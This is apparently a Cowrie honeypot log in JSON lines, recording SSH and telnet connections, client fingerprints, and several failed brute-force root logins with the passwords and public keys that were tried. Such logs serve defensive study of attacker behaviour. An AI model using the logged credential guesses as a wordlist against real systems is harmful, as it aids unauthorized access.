{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:53.376457Z","src_ip":"109.172.54.111","session":"2cd8c9a56225","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"liverpool","message":"login attempt [root/liverpool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:53.677139Z","src_ip":"109.172.54.111","session":"2cd8c9a56225","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:54.876717Z","src_ip":"109.172.54.111","session":"2cd8c9a56225","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51740,"dst_ip":"10.17.0.5","dst_port":23,"session":"180df8545557","protocol":"telnet","message":"New connection: 152.42.224.71:51740 (10.17.0.5:23) [session: 180df8545557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:56.475231Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51754,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6f614f8ad9e","protocol":"telnet","message":"New connection: 152.42.224.71:51754 (10.17.0.5:23) [session: f6f614f8ad9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:57.476335Z"}
{"eventid":"cowrie.session.closed","duration":11.923039436340332,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:08.398148Z","src_ip":"152.42.224.71","session":"180df8545557","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0016098022461,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:08.815036Z","src_ip":"152.42.224.71","session":"bc656a6203ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43964,"dst_ip":"10.17.0.5","dst_port":23,"session":"f98db847d59a","protocol":"telnet","message":"New connection: 152.42.224.71:43964 (10.17.0.5:23) [session: f98db847d59a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:09.597788Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43968,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e401f60065f","protocol":"telnet","message":"New connection: 152.42.224.71:43968 (10.17.0.5:23) [session: 5e401f60065f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:15.401572Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":38604,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed3f582e32b3","protocol":"ssh","message":"New connection: 194.113.233.25:38604 (10.17.0.5:22) [session: ed3f582e32b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:16.057653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:16.062931Z","src_ip":"194.113.233.25","session":"ed3f582e32b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:16.156606Z","src_ip":"194.113.233.25","session":"ed3f582e32b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cneltyn","message":"login attempt [root/cneltyn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:16.425581Z","src_ip":"194.113.233.25","session":"ed3f582e32b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:17.517653Z","src_ip":"194.113.233.25","session":"ed3f582e32b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.71577048301697,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:22.888124Z","src_ip":"152.42.224.71","session":"a62c24f2f347","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.046075582504272,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:28.447508Z","src_ip":"152.42.224.71","session":"5e401f60065f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.8.74","src_port":48064,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4b8bd055156","protocol":"ssh","message":"New connection: 159.65.8.74:48064 (10.17.0.5:22) [session: f4b8bd055156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:32.637996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:32.642959Z","src_ip":"159.65.8.74","session":"f4b8bd055156","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:32.880301Z","src_ip":"159.65.8.74","session":"f4b8bd055156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"WW123456.","message":"login attempt [root/WW123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:33.868403Z","src_ip":"159.65.8.74","session":"f4b8bd055156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:35.109298Z","src_ip":"159.65.8.74","session":"f4b8bd055156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.92944097518921,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:39.527130Z","src_ip":"152.42.224.71","session":"f98db847d59a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53360,"dst_ip":"10.17.0.5","dst_port":23,"session":"a86bbf908b86","protocol":"telnet","message":"New connection: 152.42.224.71:53360 (10.17.0.5:23) [session: a86bbf908b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:40.488970Z"}
{"eventid":"cowrie.session.closed","duration":49.27267146110535,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:41.363492Z","src_ip":"152.42.224.71","session":"a4dd578205fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.42.190.77","src_port":60998,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0eb528553ea","protocol":"ssh","message":"New connection: 31.42.190.77:60998 (10.17.0.5:22) [session: f0eb528553ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:45.276683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:45.285650Z","src_ip":"31.42.190.77","session":"f0eb528553ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:45.409801Z","src_ip":"31.42.190.77","session":"f0eb528553ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:74:ac:7a:18:c6:c9:de:98:39:db:a6:a9:0c:df:09","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJLDjxmo+jb+r5biVnidgCC3dPnzWxTV92XQ7OWGl1YeMQpipxYjVUf7j845+BYWUVvzVJuBtmfsN9QtuGeidDXdsF05t2XTrqCPisINjY9XJ+GxETYsMTezMXspJH6lovSSrFO2q+sXyLeqxSdY7/JUuiXMpyAGS6rmsCeO1LdhAAAAFQCJn8UZyzws8xyTiPH6tAdAdFKDEQAAAIAqj5w5bl+gHDQULw0WGixiuwZVO3Rx9d/mRDx8+0qd7TDaXk1YmPj38TE4dNLTnsJaj/VZQL/g0ghUWDQQhnOIeC1pe5V7kOstzzo4UA9JaZqaIV0C9IxByFfXfVxXlF35o1k+XCs/Xg/XXzfiK6tapYFCqlWmx8JiSevNfUybNgAAAIAUH82rfwu0AXW4uzgcwPS5I7BmPmDSA8c1g2iQwyoqrkxW28kvZhrkVljriCYOck9QuBkd8yo4maJMPadE5pXkATUQs7GlAfvoypako7ABaxwT+vxEa08ttwAZl6mw5BNdd7Vk2cMxgT8OqM//OzjtSCXnc6uu3Ur2FBNRX6k44A==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 55:74:ac:7a:18:c6:c9:de:98:39:db:a6:a9:0c:df:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:46.012346Z","src_ip":"31.42.190.77","session":"f0eb528553ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:74:ac:7a:18:c6:c9:de:98:39:db:a6:a9:0c:df:09","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJLDjxmo+jb+r5biVnidgCC3dPnzWxTV92XQ7OWGl1YeMQpipxYjVUf7j845+BYWUVvzVJuBtmfsN9QtuGeidDXdsF05t2XTrqCPisINjY9XJ+GxETYsMTezMXspJH6lovSSrFO2q+sXyLeqxSdY7/JUuiXMpyAGS6rmsCeO1LdhAAAAFQCJn8UZyzws8xyTiPH6tAdAdFKDEQAAAIAqj5w5bl+gHDQULw0WGixiuwZVO3Rx9d/mRDx8+0qd7TDaXk1YmPj38TE4dNLTnsJaj/VZQL/g0ghUWDQQhnOIeC1pe5V7kOstzzo4UA9JaZqaIV0C9IxByFfXfVxXlF35o1k+XCs/Xg/XXzfiK6tapYFCqlWmx8JiSevNfUybNgAAAIAUH82rfwu0AXW4uzgcwPS5I7BmPmDSA8c1g2iQwyoqrkxW28kvZhrkVljriCYOck9QuBkd8yo4maJMPadE5pXkATUQs7GlAfvoypako7ABaxwT+vxEa08ttwAZl6mw5BNdd7Vk2cMxgT8OqM//OzjtSCXnc6uu3Ur2FBNRX6k44A==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:46.016108Z","src_ip":"31.42.190.77","session":"f0eb528553ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:63:f9:36:e4:79:99:4a:a8:b3:58:ec:e2:de:ee:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV5PvMBi/hMlWHK7u9TPu1ZNKKLqA/vcPuNriMw2HjzZD5X8fJvnlp6UfP1tZD+raA3hLHZ+Z7KGH7ONOgW/rCPejZZUk+jfKwzOI06qmBAsTfOhX5si1EAXRhrDwSYaWCFuBg8SRIb9ukSzLccJrV6NXvIQYpqubFTx6S52j5EtvJKCDwMJctOhi3J3DvzleUIGRAWzkKKy9SH9xqE0bZJ0SKByDu98JI1H4kCG68mw9T8sZTxuRyI4GJcRzbKjDRQYc6GRtGpy2V1ltTbIXr+nAZNaFdl6mq1MuXilSOkMsdUr25SR2wGB2HJ12x17PeGyDNJDKWt56PAdkON+0R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:63:f9:36:e4:79:99:4a:a8:b3:58:ec:e2:de:ee:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:46.140673Z","src_ip":"31.42.190.77","session":"f0eb528553ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:63:f9:36:e4:79:99:4a:a8:b3:58:ec:e2:de:ee:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV5PvMBi/hMlWHK7u9TPu1ZNKKLqA/vcPuNriMw2HjzZD5X8fJvnlp6UfP1tZD+raA3hLHZ+Z7KGH7ONOgW/rCPejZZUk+jfKwzOI06qmBAsTfOhX5si1EAXRhrDwSYaWCFuBg8SRIb9ukSzLccJrV6NXvIQYpqubFTx6S52j5EtvJKCDwMJctOhi3J3DvzleUIGRAWzkKKy9SH9xqE0bZJ0SKByDu98JI1H4kCG68mw9T8sZTxuRyI4GJcRzbKjDRQYc6GRtGpy2V1ltTbIXr+nAZNaFdl6mq1MuXilSOkMsdUr25SR2wGB2HJ12x17PeGyDNJDKWt56PAdkON+0R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:46.144743Z","src_ip":"31.42.190.77","session":"f0eb528553ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:dd:5c:2d:6f:de:cc:17:12:4f:8e:a8:4a:73:6b:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyhcgAKqYS1L3BIuUeEC4gwuvDD0A+6/pZJR8Mq0kfcQLUPcrPJ/M1iRr6xhZG1g+k73wryKgQP09hVnNxAu34Q6Y9oyVThbyZG/2Uc1n262Wozl5/rWmF85u1bBxrGsmrilUiNbnhm32/P4G1tHU7fTlL6yXaUa81vhqUJcZrwXjbUpoHEizPvqL2k7mVGHtWGjLObIMpxA5SiXCSbdYDIOApYVKJ7MbvtXKIgPQIckQs1qctLT47NNvsp6BushWkSt9KeuCgAC3gsx+D7PY8u3gPKLkTdGKcD4h8BHdJbn8k2UqL/0Tv0EYIoXOQnYSXYIXKLTD877D+q8O3DZmHO/frxO5SwwdqDijAWZtocMBRJ2URaE7AUgiDUQDxpOhv6xxm0+QPJQ8Sww5nzTbwSgM0ApFb/qB99h7jZGJBJ6YQdE/JH0Xm58yuLpFUTIR2XVm96Ul6OMd7EVa0sBn/LWUxPf+82Xt32AQtbY5V3+ODwF4x/UgwiBKA+xA2hoKHdLMjp/koolDK5BPAdUMquqbs6ZdkPDn+v+Edqi+hbWUEWhUrQy37X/1zewcischT6OsS9S/uzDFoPriA5pXg6UJv0jHUf0xdW+HOXHpF0lKZDqf2MlJW+62vmy0ZexEiI6y6crJG26x4f2xTdU4p52FXsIpDobS7Xv8zeLssnQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:dd:5c:2d:6f:de:cc:17:12:4f:8e:a8:4a:73:6b:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:46.269727Z","src_ip":"31.42.190.77","session":"f0eb528553ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:dd:5c:2d:6f:de:cc:17:12:4f:8e:a8:4a:73:6b:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyhcgAKqYS1L3BIuUeEC4gwuvDD0A+6/pZJR8Mq0kfcQLUPcrPJ/M1iRr6xhZG1g+k73wryKgQP09hVnNxAu34Q6Y9oyVThbyZG/2Uc1n262Wozl5/rWmF85u1bBxrGsmrilUiNbnhm32/P4G1tHU7fTlL6yXaUa81vhqUJcZrwXjbUpoHEizPvqL2k7mVGHtWGjLObIMpxA5SiXCSbdYDIOApYVKJ7MbvtXKIgPQIckQs1qctLT47NNvsp6BushWkSt9KeuCgAC3gsx+D7PY8u3gPKLkTdGKcD4h8BHdJbn8k2UqL/0Tv0EYIoXOQnYSXYIXKLTD877D+q8O3DZmHO/frxO5SwwdqDijAWZtocMBRJ2URaE7AUgiDUQDxpOhv6xxm0+QPJQ8Sww5nzTbwSgM0ApFb/qB99h7jZGJBJ6YQdE/JH0Xm58yuLpFUTIR2XVm96Ul6OMd7EVa0sBn/LWUxPf+82Xt32AQtbY5V3+ODwF4x/UgwiBKA+xA2hoKHdLMjp/koolDK5BPAdUMquqbs6ZdkPDn+v+Edqi+hbWUEWhUrQy37X/1zewcischT6OsS9S/uzDFoPriA5pXg6UJv0jHUf0xdW+HOXHpF0lKZDqf2MlJW+62vmy0ZexEiI6y6crJG26x4f2xTdU4p52FXsIpDobS7Xv8zeLssnQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:46.273619Z","src_ip":"31.42.190.77","session":"f0eb528553ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:5a:f1:61:fe:3b:e8:d9:7a:63:fc:4e:95:47:75:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqII3QJcztKFJYc3s2SH8nqq3Pgdzj3IiRxVqDl/4kr4N4XGXjzowp4i6A2sSkRtunk1X+ZLy/i19W9vCDyYIK610DcwcyOjqgrwUR5z7+O3luUne8w69LB/eXuQO6vax0agNI+y+g//FZJ3a699qoyHGYsOzkeEAn7E+QbnBmY+c2sifkpkw/p8HS/Mn8JjYm5RwZiAks7UKuL4oV2IauFvon4sB1/zfq8Jd7nIg8ZHmm1heyX8ejdb5EB7cCPI9KOuClId6uaJz+FOyXKnBKAs0GKxRHntHOwzQBQwS/OXlkDtUgWsyAIZds37ax5AUs0LIacEqHfvfWfKIBPTlJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:5a:f1:61:fe:3b:e8:d9:7a:63:fc:4e:95:47:75:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:46.400002Z","src_ip":"31.42.190.77","session":"f0eb528553ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:5a:f1:61:fe:3b:e8:d9:7a:63:fc:4e:95:47:75:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqII3QJcztKFJYc3s2SH8nqq3Pgdzj3IiRxVqDl/4kr4N4XGXjzowp4i6A2sSkRtunk1X+ZLy/i19W9vCDyYIK610DcwcyOjqgrwUR5z7+O3luUne8w69LB/eXuQO6vax0agNI+y+g//FZJ3a699qoyHGYsOzkeEAn7E+QbnBmY+c2sifkpkw/p8HS/Mn8JjYm5RwZiAks7UKuL4oV2IauFvon4sB1/zfq8Jd7nIg8ZHmm1heyX8ejdb5EB7cCPI9KOuClId6uaJz+FOyXKnBKAs0GKxRHntHOwzQBQwS/OXlkDtUgWsyAIZds37ax5AUs0LIacEqHfvfWfKIBPTlJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:46.404918Z","src_ip":"31.42.190.77","session":"f0eb528553ea","protocol":"ssh"}
